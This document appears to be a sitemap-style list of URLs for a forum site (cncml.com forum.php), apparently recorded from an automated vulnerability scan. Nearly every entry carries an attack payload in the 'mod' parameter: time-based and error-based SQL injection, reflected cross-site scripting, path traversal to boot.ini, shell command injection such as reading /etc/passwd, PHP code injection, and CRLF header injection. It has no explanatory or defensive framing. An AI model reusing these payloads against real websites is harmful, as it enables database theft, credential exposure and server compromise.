http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20OR%2041=31%20AND%20('Eye'='Eye 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20OR%2081=81%20AND%20('fi'='fi 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(33=77)%20THEN%200x7265646972656374%20ELSE%200x28%20END))%20AND%20('go'='go 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(76=76)%20THEN%200x7265646972656374%20ELSE%200x28%20END))%20AND%20('ME'='ME 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(19=46)%20THEN%200x7265646972656374%20ELSE%200x28%20END))%20AND%20(19=19 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(28=28)%20THEN%200x7265646972656374%20ELSE%200x28%20END))%20AND%20(63=63 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect,(SELECT%20(CASE%20WHEN%20(12=12)%20THEN%200x7265646972656374%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect,(SELECT%20(CASE%20WHEN%20(15=61)%20THEN%200x7265646972656374%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect,(SELECT%20(CASE%20WHEN%20(21=21)%20THEN%200x7265646972656374%20ELSE%2021*(SELECT%2021%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect,(SELECT%20(CASE%20WHEN%20(38=11)%20THEN%200x7265646972656374%20ELSE%2038*(SELECT%2038%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect,(SELECT%20(CASE%20WHEN%20(72=95)%20THEN%200x7265646972656374%20ELSE%2072*(SELECT%2072%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect,(SELECT%20(CASE%20WHEN%20(88=88)%20THEN%200x7265646972656374%20ELSE%2088*(SELECT%2088%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect/ 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect6633x3X6 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirect;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirectAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirectAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirectJyI%3D 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirectalert(42873) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=redirecte360 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?view=new&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?view=new&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?view=new&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?view=new&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?view=new&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?view=new&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?view=new&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=%3Cdir 0.0001 http://www.cncml.com/forum.php?view=new&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?view=new&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?view=new&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?view=new&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?view=new&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?view=new&mod='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/forum.php?view=new&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?view=new&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?view=new&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/forum.php?view=new&mod=(SELECT%20(CASE%20WHEN%20(17=17)%20THEN%200x6775696465%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?view=new&mod=(SELECT%20(CASE%20WHEN%20(37=11)%20THEN%200x6775696465%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?view=new&mod=(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%200x6775696465%20ELSE%2041*(SELECT%2041%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=(SELECT%20(CASE%20WHEN%20(47=47)%20THEN%200x6775696465%20ELSE%2047*(SELECT%2047%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=(SELECT%20(CASE%20WHEN%20(66=91)%20THEN%200x6775696465%20ELSE%2066*(SELECT%2066%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=(SELECT%20(CASE%20WHEN%20(76=76)%20THEN%200x6775696465%20ELSE%2076*(SELECT%2076%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=(SELECT%20(CASE%20WHEN%20(86=17)%20THEN%200x6775696465%20ELSE%2086*(SELECT%2086%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=(SELECT%20(CASE%20WHEN%20(86=42)%20THEN%200x6775696465%20ELSE%2086*(SELECT%2086%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?view=new&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?view=new&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?view=new&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?view=new&mod=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?view=new&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?view=new&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?view=new&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?view=new&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?view=new&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?view=new&mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?view=new&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?view=new&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?view=new&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?view=new&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?view=new&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?view=new&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?view=new&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?view=new&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?view=new&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?view=new&mod=ELT(21=61,0x6775696465) 0.0001 http://www.cncml.com/forum.php?view=new&mod=ELT(99=99,0x6775696465) 0.0001 http://www.cncml.com/forum.php?view=new&mod=MAKE_SET(13=14,0x6775696465) 0.0001 http://www.cncml.com/forum.php?view=new&mod=MAKE_SET(22=22,0x6775696465) 0.0001 http://www.cncml.com/forum.php?view=new&mod=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/forum.php?view=new&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?view=new&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?view=new&mod=dir 0.0001 http://www.cncml.com/forum.php?view=new&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide 0.0006 http://www.cncml.com/forum.php?view=new&mod=guide!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%00' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%200x6775696465%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20RLIKE%20(SELECT%20(CASE%20WHEN%20(98=95)%20THEN%200x6775696465%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%22%20AND%20%22qA%22=%221h 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%22)%20AND%2052=47%20AND%20(%22E1%22=%22E1 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25%22%29%20AND%2089%3D43%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25%27%29%20AND%2011%3D12%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25%27%29%20AND%2089%3D89%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20AND%2045=21%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20AND%2047=47%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20AND%2066=98%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20AND%2098=98%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=54)%20THEN%200x6775696465%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=51)%20THEN%200x6775696465%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%2527 0.0001 http://www.cncml.com/forum.php?view=new&mod=guide%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 